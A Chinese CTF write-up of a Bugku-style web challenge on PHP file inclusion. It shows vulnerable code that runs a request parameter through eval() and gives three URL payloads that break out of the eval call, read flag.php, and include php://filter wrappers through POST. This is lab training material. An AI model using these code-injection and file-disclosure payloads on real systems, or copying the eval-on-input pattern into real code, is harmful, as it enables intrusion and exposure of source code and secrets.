CTF---Web---文件包含---10---三种本地包含

文章目录

  • 前言
  • 一、题目描述
  • 二、逻辑解析
  • 三、解题方法
    • 1、将flag.php读入变量hello中
    • 2、 eval存在命令执行漏洞,用hello构造payload
    • 3、构造伪协议
  • 四、总结


前言

题目分类:

CTF—Web—文件包含—10—三种本地包含


一、题目描述

题目: 文件包含
CTF---Web---文件包含---10---三种本地包含_第1张图片

二、逻辑解析

 <?php
    include "flag.php";
    //可知flag在flag.php里,
    $a = @$_REQUEST['hello'];
    //$_REQUEST[]支持get、post两种方式发送过来的请求,很明显接收了hello参数的值
    eval( "var_dump($a);");
    //var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值;数组将递归展开值,通过缩进显示其结构
    //eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
    show_source(__FILE__);
    //show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名
?>

三、解题方法

1、将flag.php读入变量hello中

 http://172.1.2.106:1020/?hello=file(%22flag.php%22)

 http://172.1.2.106:1020/?hello=file_get_contents('flag.php')

在这里插入图片描述

2、 eval存在命令执行漏洞,用hello构造payload

http://172.1.2.106:1020/?hello=);show_source(%22flag.php%22

CTF---Web---文件包含---10---三种本地包含_第2张图片

3、构造伪协议

 http://172.1.2.106:1020/?hello=1);include $_POST['f'];//
 在POST区域:f=php://filter/convert.base64-encode/resource=flag.php

CTF---Web---文件包含---10---三种本地包含_第3张图片


四、总结

1、文件包含的三种姿势:

A?hello=file('flag.php') &&& ?hello=file_get_contents('flag.php')
          
B?hello=);show_source('flag.php')

C?hello=1);include$_POST['f'];//
    post传参为:f=php://filter/convert.base64-encode/resource=flag.php

注意: hello=file_get_contents(‘flag.php’)此函数经常写错。

参考链接:https://blog.csdn.net/weixin_43784056/article/details/84571616

你可能感兴趣的:(刷题记录,CTF,web,CTF,web,文件包含,刷题记录,Bugku)